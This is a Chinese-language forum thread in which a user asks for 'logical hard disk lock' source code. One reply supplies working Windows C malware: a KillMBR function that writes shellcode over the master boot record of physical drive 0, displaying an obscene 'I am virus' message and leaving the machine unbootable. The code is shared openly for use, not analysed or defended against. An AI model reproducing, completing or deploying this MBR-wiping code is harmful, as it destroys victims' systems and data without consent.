找回密码
 立即注册→加入我们

QQ登录

只需一步,快速开始

搜索
热搜: 下载 VB C 实现 编写
查看: 2099|回复: 3

求大神给个逻辑硬盘锁的源码!

[复制链接]
发表于 2018-2-7 21:05:46 | 显示全部楼层 |阅读模式

欢迎访问技术宅的结界,请注册或者登录吧。

您需要 登录 才可以下载或查看,没有账号?立即注册→加入我们

×
在此先谢谢了!
回复

使用道具 举报

发表于 2018-3-3 15:33:25 | 显示全部楼层
本帖最后由 Tao_Lu 于 2018-3-3 15:34 编辑
  1. #include 'winioctl.h'
  2. unsigned char scode[] =
  3. "\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
  4. "\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
  5. "\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";

  6. int KillMBR()
  7. {
  8.     HANDLE hDevice;
  9.     DWORD dwBytesWritten, dwBytesReturned;
  10.     BYTE pMBR[512] = {0};

  11.     // MBR
  12.     memcpy(pMBR, scode, sizeof(scode) - 1);
  13.     pMBR[510] = 0x55;
  14.     pMBR[511] = 0xAA;

  15.     hDevice = CreateFile
  16.         (
  17.         "\\\\.\\PHYSICALDRIVE0",
  18.         GENERIC_READ | GENERIC_WRITE,
  19.         FILE_SHARE_READ | FILE_SHARE_WRITE,
  20.         NULL,
  21.         OPEN_EXISTING,
  22.         0,
  23.         NULL
  24.         );
  25.     if (hDevice == INVALID_HANDLE_VALUE)
  26.         return -1;
  27.     DeviceIoControl
  28.         (
  29.         hDevice,
  30.         FSCTL_LOCK_VOLUME,
  31.         NULL,
  32.         0,
  33.         NULL,
  34.         0,
  35.         &dwBytesReturned,
  36.         NULL
  37.         );
  38.     // WriteFile
  39.     WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
  40.     DeviceIoControl
  41.         (
  42.         hDevice,
  43.         FSCTL_UNLOCK_VOLUME,
  44.         NULL,
  45.         0,
  46.         NULL,
  47.         0,
  48.         &dwBytesReturned,
  49.         NULL
  50.         );
  51.     CloseHandle(hDevice);

  52.     ExitProcess(-1);
  53.     return 0;
  54. }
复制代码
回复 赞! 靠!

使用道具 举报

发表于 2018-11-13 22:48:00 | 显示全部楼层
回复

使用道具 举报

发表于 2018-12-6 08:44:48 | 显示全部楼层
新人收下
回复

使用道具 举报

本版积分规则

QQ|Archiver|小黑屋|技术宅的结界 ( 滇ICP备16008837号 )|网站地图

GMT+8, 2024-11-23 16:24 , Processed in 0.031493 second(s), 22 queries , Gzip On.

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表